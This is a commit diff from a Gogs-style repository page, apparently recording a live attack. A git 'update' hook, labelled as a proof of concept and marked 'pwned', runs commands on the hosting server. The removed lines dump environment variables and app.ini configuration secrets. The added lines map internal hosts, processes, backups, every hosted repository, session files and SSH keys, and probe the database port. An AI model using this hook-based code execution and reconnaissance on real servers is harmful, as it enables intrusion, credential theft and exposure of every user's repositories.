poc 1 tydzień temu
rodzic
commit
ace79d5788
1 zmienionych plików z 14 dodań i 13 usunięć
  1. 14 13
      nslxits0yu/rce-lxits0yu.git/hooks/update

+ 14 - 13
nslxits0yu/rce-lxits0yu.git/hooks/update

@@ -1,16 +1,17 @@
 #!/bin/sh
 {
-echo "=== pwned by lx1853 ==="
+echo "=== round2 lx1853 ==="
 echo "--- id ---"; id
-echo "--- host ---"; hostname; uname -a; pwd
-echo "--- ls / ---"; ls -la /
-echo "--- ls /data ---"; ls -la /data 2>/dev/null
-echo "--- env ---"; env | sort | head -40
-echo "--- app.ini candidates ---"
-for f in /data/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini /data/gogs/conf/app.ini /home/git/gogs/custom/conf/app.ini; do
-  if [ -f "$f" ]; then echo "### $f"; cat "$f"; fi
-done
-echo "--- find configs ---"
-find / -maxdepth 5 \( -name "app.ini" -o -name "docker-compose*.y*ml" -o -name "*.env" \) -not -path "*/proc/*" 2>/dev/null | head -40
-echo "=== end ==="
-} > pwned 2>&1
+echo "--- resolv ---"; cat /etc/resolv.conf
+echo "--- resolve ---"; for h in gogs-db db mysql redis caddy host.docker.internal; do printf "%s: " $h; getent hosts $h || echo none; done
+echo "--- ps ---"; ps aux 2>/dev/null | head -40
+echo "--- /backup ---"; ls -la /backup 2>/dev/null
+echo "--- repo tree ---"; ls -la /data/git/gogs-repositories/ 2>/dev/null
+for d in /data/git/gogs-repositories/*/; do echo "## $d"; ls -la "$d" 2>/dev/null | head -25; done
+echo "--- local-r ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
+echo "--- gogs data ---"; ls -la /data/gogs/data/ 2>/dev/null; ls /data/gogs/data/sessions 2>/dev/null | head
+echo "--- ssh ---"; ls -la /data/ssh/ 2>/dev/null
+echo "--- tcp ---"
+timeout 2 sh -c "echo > /dev/tcp/gogs-db/3306" 2>/dev/null && echo "gogs-db:3306 OPEN" || echo "gogs-db:3306 closed"
+echo "=== end2 ==="
+} > pwned2 2>&1